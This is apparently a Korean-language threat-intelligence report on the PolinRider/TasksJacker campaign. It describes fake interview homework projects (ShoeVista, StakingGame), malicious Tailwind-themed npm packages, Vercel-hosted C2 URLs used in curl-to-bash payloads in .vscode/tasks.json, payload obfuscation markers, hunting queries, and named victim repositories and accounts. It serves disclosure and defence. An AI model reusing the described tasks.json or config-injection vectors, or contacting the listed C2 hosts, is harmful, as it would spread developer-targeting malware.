PolinRider와 TasksJacker가 운영상 합병되었습니다. 이제 동일한 위협 행위자가 동일한 피해자 집단에 대해 구성 파일 주입과 .vscode/tasks.json curl-to-shell 감염 벡터를 모두 실행하고 있다는 직접적인 증거가 있습니다. temp_auto_push.bat 전파 스크립트 피해자 101명 중 22명이 악성 .vscode/tasks.json 파일을 가지고 있으며, 여러 개의 무기화된 숙제/가짜 인터뷰 템플릿 프로젝트가 식별되었습니다. 아래 무기화된 숙제 템플릿을 참조하세요. OSM은 앞으로 두 클러스터를 #polinrider로 통합합니다.
두 개의 무기화된 숙제 테스트 프로젝트 식별: ShoeVista (client/package.json에 악성 tailwindcss-style-animate ^1.1.6이 포함된 가짜 Tailwind 전자상거래 평가 과제) 및 StakingGame (tasks.json에서 UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9로 식별된 가짜 블록체인/VS Code 자동화 프로젝트). 최소 46명 + 42명의 개발자가 이 테스트를 시도하여 손상되었습니다. Contagious Interview 유인 플레이북의 일부입니다.
다섯 개의 새로운 C2 하위 도메인 발견, 모두 Vercel에서 호스팅되며 .vscode/tasks.json의 curl | bash 페이로드에서 사용됨:
default-configuration.vercel.app (가장 많이 사용됨, 약 106개 피해자 참조)vscode-settings-bootstrap.vercel.appvscode-settings-config.vercel.appvscode-bootstrapper.vercel.appvscode-load-config.vercel.app모두 패턴 https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>을 따릅니다. C2 인프라 섹션에 추가되었습니다.
OSM은 이틀간의 헌트 동안 821개의 새로운 위협 보고서를 제출하여 전체 OSM PolinRider 항목을 ~1,700개로 늘렸습니다. 821개 제출물의 변종 분류: 원본 변종 591개(rmcej%otb%), 전파 전용 113개(temp_auto_push.bat), 악성 npm 45개(ShoeVista/devhire 클러스터), tasksjacker 27개, 새 변종 1개(Cot%3t=shtP), 기타 44개.
JS 페이로드가 정리된 후에도 피해자를 찾는 새로운 고수익 검색 피벗이 식별되었습니다. 가장 강력한 것은 filename:temp_auto_push.bat (101개의 악성 확인 결과, 100% 진양성률) 및 "default-configuration.vercel.app" (106개 일치)입니다. 44개의 무작위 확인에서 표본 위양성률은 0%였습니다. 아래 정제 방법론을 참조하세요.
새로운 주입 벡터 확인: 최소 한 명의 피해자(AgbaD/odoo)가 Node를 통해 실행되는 .woff2 글꼴 파일(public/fonts/fa-solid-400.woff2)에 난독화된 JS 페이로드를 숨기고 있었습니다. 이는 캠페인이 동일한 대상에 대해 여러 주입 벡터를 사용함을 확인합니다.
세 번째 난독화 변종은 발견되지 않음. global['?'] 마커, 시드 조합, 구조적 패턴, IOC 리터럴, 연속적인 '8-stN' 태그 1–200(Sourcegraph 정규식 사용)에 대한 철저한 탐색 결과, 이미 문서화된 두 변종 외에 세 번째 변종의 증거는 발견되지 않았습니다. 행위자의 새 변종 배치는 8-st1..8-st59로 한정됩니다(21개의 연속 번호가 Sourcegraph 인덱스에서 누락됨).
temp_auto_push.bat.gitignoreconfig.batpublic/, static/, assets/ 디렉토리 내 바이너리 자산에서 예상치 못한 .woff / .woff2 파일을 감사하십시오. 이 악성코드는 가짜 글꼴 파일( "가짜-글꼴" 하위 변종) 내부에 페이로드를 숨기는 것이 관찰되었습니다.package.json 종속성을 검토하십시오. 특히 최근에 추가되었거나 업데이트된 PostCSS/Tailwind 관련 패키지(tailwind-mainanimation, tailwind-autoanimation 및 아래 나열된 기타 npm 패키지)를 확인하십시오.node_modules에서 postinstall 스크립트를 확인하십시오: grep -r "postinstall" node_modules/*/package.jsonrmcej%otb% 변종을 이전에 정리한 후, 순환된 Cot%3t=shtP 변종으로 재감염된 피해자를 최소 한 명 관찰했습니다. 주기적으로 재스캔하십시오.| 파일 | 발생 횟수 (3월 8일) | 발생 횟수 (4월 10일) |
|---|
postcss.config.mjs | 416 | ~960 |
tailwind.config.js | 84 | ~210 |
eslint.config.mjs | 60 | ~150 |
postcss.config.js | 13 | ~40 |
App.js | 13 | ~30 |
next.config.mjs | 12 | ~30 |
index.js | 6 | ~25 |
astro.config.mjs | 6 | ~15 |
tailwind.config.mjs | 5 | ~12 |
vite.config.js / vite.config.mjs | — | ~20 |
webpack.config.js | — | ~15 |
gridsome.config.js | — | ~5 |
vue.config.js | — | ~10 |
truffle.js | — | ~5 |
temp_auto_push.bat (전파 스크립트 아티팩트) | — | 101 |
.woff2 글꼴 파일 (가짜-글꼴 하위 변종) | — | 관찰됨 |
| 패키지 | 최신 버전 | 상태 | 게시자 | 관찰된 피해자 수 (4월 11일) |
|---|
tailwindcss-style-animate | 1.1.6 | 관찰됨 | (계정 삭제됨) | 34 ← ShoeVista 주요 종속성 |
tailwind-mainanimation | 2.3.3 → 0.0.1-security | npm에 의해 중단됨 (보안 플레이스홀더로 대체, 2026-03-13) | allavin (계정 삭제됨) | 1 |
tailwind-autoanimation | 2.3.6 | 레지스트리에서 제거됨 | blackedward (계정 삭제됨) | 2 |
tailwind-animationbased | — | 관찰됨 | (계정 삭제됨) | 0 |
tailwindcss-typography-style | 0.8.2 | 관찰됨 | (계정 삭제됨) | 6 |
tailwindcss-style-modify | 0.8.3 | 관찰됨 | (계정 삭제됨) | 4 |
tailwindcss-animate-style | 1.2.5 | 관찰됨 | (계정 삭제됨) | 0 |
| 속성 | 원본 변종 | 새로운 변종 |
|---|
| 시그니처 마커 | rmcej%otb% | Cot%3t=shtP |
| 셔플 시드 (레이어 1) | 2857687 | 1111436 |
| 보조 시드 (레이어 2) | 2667686 | 3896884 |
| 디코더 함수 이름 | _$_1e42 | MDy |
| 주입된 전역 | global['!'], global['r'], global['m'] | global['_V'], global['r'], global['m'] |
| 대상 파일 유형 | postcss.config.mjs, tailwind.config.js, eslint.config.mjs 등 | (동일) |
| 주입 스타일 | 합법적인 export default / 모듈 본문 뒤에 추가 | (동일) |
| 블록체인 C2 | TRON / Aptos / BSC | (동일 — 주소 변경 없음) |
| XOR 키 | 변경 없음 | 변경 없음 |
alaminrifat/shoevista-rifatAtik203/ShoeVistaDaviBarros/shoevistaIchaCoder/test-shoeAnas-Ali-3673/Test-west-shoenaime7132/client-2ShoeVista, shoevista-rifat, HedaetShahriar/ShoeVista-Test) 또는 채용 플랫폼(Test-002, test-shoe, test_upwork, test_west_shoe)에 따라 저장소 이름을 지정합니다.| 서브도메인 | 개수 (4월 11일) | 최초 관찰 | 비고 |
|---|
260120.vercel.app | 56 | pre-Mar 8 | 원래 OSM 쿼리 Q11; 첫 번째 블로그에도 게시됨 |
default-configuration.vercel.app | 106 | Apr 2026 | 지금까지 발견된 가장 큰 단일 서브도메인 클러스터 |
vscode-settings-bootstrap.vercel.app | 16 | Apr 2026 | |
vscode-settings-config.vercel.app | 11 | Apr 2026 | |
vscode-bootstrapper.vercel.app | 6 | Apr 2026 | |
vscode-load-config.vercel.app | 6 | Apr 2026 |
| 검색된 파일 이름 | 결과 |
|---|
postcss.config.mjs | 416 |
tailwind.config.js | 84 |
eslint.config.mjs | 60 |
App.js | 13 |
postcss.config.js | 13 |
next.config.mjs | 12 |
index.js | 6 |
astro.config.mjs | 6 |
| 기타 설정 파일 | 81 |
| 합계 (중복 제거 전) | 700 |
| 고유 리포지토리 | 675 |
| # | 피벗 | 엔진 | 기여한 고유 리포지토리 |
|---|
| 1 | filename:temp_auto_push.bat | GitHub Code Search | 101 |
| 2 | "_$_1e42" (확장자/크기/포크 정제 포함) | GitHub Code Search | 1,323 |
| 3 | "function MDy(f)" global _V | GitHub Code Search | 14 |
| 4 | LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat | GitHub Code Search | 236 |
| 5 | Cot%3t=shtP 정규식 + fork:yes archived:yes | Sourcegraph | 41 |
| 라운드 1 결합 | 1,556 | ||
| 6 | "<악성_npm_패키지>" filename:package.json (7개 npm 패키지) | GitHub Code Search | 46 |
| 7 | <url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app) | GitHub Code Search | 145 |
| 8 | "default-configuration.vercel.app" 및 4개의 하위 도메인 vscode-*.vercel.app | GitHub Code Search | 94 |
| 9 | "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" (StakingGame 템플릿 UUID) | GitHub Code Search | 42 |
| 10 | 순차적 '8-stN' 1~200 열거 (인덱싱되지 않은 순차 태그 확인) | Sourcegraph 정규식 | 0 신규 |
| 라운드 2 결합 | +215 | ||
| 전체 고유 (두 라운드 + 기존 CSV) | 1,951 |
| 세분화 | total_count |
|---|
extension:js | 430 |
extension:mjs | 676 |
extension:cjs | 17 |
extension:ts | 7 |
extension:html | 1 |
size:<5000 | 4 |
size:5000..6000 | 630 |
size:6000..7000 | 125 |
size:7000..8000 | 139 |
size:8000..9000 | 56 |
size:9000..10000 | 36 |
size:10000..50000 | 112 |
size:>50000 | 12 |
fork:true | 157 (기본적으로 제외됨!) |
| 출처 | 고유 리포지토리 | 고유 소유자 |
|---|
| 3월 8일 원본 게시 | 675 | 352 |
affected_repos.csv (3월 18일 업데이트) | 769 | 399 |
| 4월 10일 v3 마스터 (5개 피벗) | 1,556 | 835 |
| 4월 11일 라운드 2 (추가 5개 피벗) | +215 순 신규 | +158 순 신규 |
| 합집합 (실제 범위, 4월 11일) | 1,951 | 1,047 |
| 파일 | 설명 |
|---|
README.md | 이 보고서 |
polinrider-rides-again.md | 후속 블로그 (4월 11일). 캠페인 성장, TasksJacker / PolinRider 합병, 전체 종단 간 페이로드 리버스 엔지니어링 포함 |
affected_repos.csv | 영향을 받은 리포지토리 — 먼저 조직, 그 다음 사용자, 각각 별+포크 내림차순 정렬. 참고: 2026-04-11 기준으로 이 CSV에는 3월 18일 수집분의 769개 항목이 포함되어 있습니다. 4월 10~11일 수색에서는 아직 이 CSV에 병합되지 않은 약 1,180개의 새 리포지토리가 추가되었습니다(이들은 reports/polinrider-master-v3-1556.tsv 및 reports/polinrider-round2-repos.txt에 추적됨). 실제 알려진 범위는 1,951개의 고유 리포지토리입니다. |
affected_users.csv | 영향을 받은 소유자 — 먼저 조직, 다음 사용자, 각각 팔로워 내림차순 정렬. 2026-04-11 기준으로 399개 항목 포함; 4월 수색 합집합은 1,047명의 소유자입니다. |
reports/polinrider-master-v3-1556.tsv | 4월 10일 수색 마스터 목록: repo \t osm_status \t threat_id \t severity \t sources. v3 수색에서 발견된 1,556개 리포지토리 모두 포함 |
reports/polinrider-new-v3.tsv | 2026-04-10에 OSM에 새로 추가된 705개 리포지토리 |
reports/polinrider-round2-repos.txt | 라운드 2 정리 마스터 목록 (5개의 새로운 피벗에서 나온 239개 고유 리포지토리) |
reports/polinrider-round2-submissions-2026-04-11.tsv | 2026-04-11에 OSM에 새로 추가된 72개 리포지토리 (라운드 2) |
reports/polinrider-scope-v3-2026-04-10.md | 전체 v3 범위 보고서. 정제 방법론 및 오탐 분석 포함 |
reports/polinrider-submissions-2026-04-10.md | 2026-04-10에 제출된 704건의 OSM 위협 보고서에 대한 대량 제출 보고서 |
reports/polinrider-scope-v3-2026-04-10.md | v3 범위 보고서 |
| 리포지토리 | 별 | 포크 | 감염된 파일 |
|---|
Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | 6 | 11 | postcss.config.mjs |
Victorola-coder/tewo | 9 | 6 | tailwind.config.js |
Kreliannn/Document-Request-System-FRONTEND | 8 | 1 | postcss.config.mjs |
Atik203/Scholar-Flow | 4 | 4 | postcss.config.mjs |
sparktechagency/Vap-shop-Front-End- | 7 | 0 | postcss.config.mjs |
Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | 7 | 0 | postcss.config.mjs |
coderkhalide/Anti-Detect-Browser | 2 | 4 | tailwind.config.js |
tanushbhootra576/Bionary-Website-Challenge-and-final | 4 | 2 | tailwind.config.js |
tanushbhootra576/collegeConnect | 5 | 1 | postcss.config.mjs |
Kreliannn/commision_portfolio | 6 | 0 | postcss.config.mjs |
| 조직 | 팔로워 | 영향을 받은 리포지토리 |
|---|
sparktechagency | 130 | 12 |
FSDTeam-SAA | 21 | 12 |
Softvence-Omega-Dev-Ninjas | 18 | 4 |
Codechef-VITC-Student-Chapter | 17 | 1 |
softvence-omega-future-stack | 11 | 4 |
The-Extra-Project | 11 | 1 |
etrainermis | 7 | 1 |
tricodenetwork | 7 | 1 |
Binary-Mindz | 6 | 1 |
Gamage-Recruiters-406 | 5 | 1 |
| 사용자 | 팔로워 | 영향을 받은 리포지토리 |
|---|
coderkhalide | 349 | 4 |
finom | 172 | 4 |
Victorola-coder | 121 | 1 |
dhruvmalik007 | 87 | 6 |
saif72437 | 57 | 2 |
a-belard | 43 | 1 |
Muhammadfaizanjanjua109 | 39 | 1 |
Nathanim1919 | 38 | 5 |
kanchana404 | 33 | 3 |
AKDebug-UX | 30 | 4 |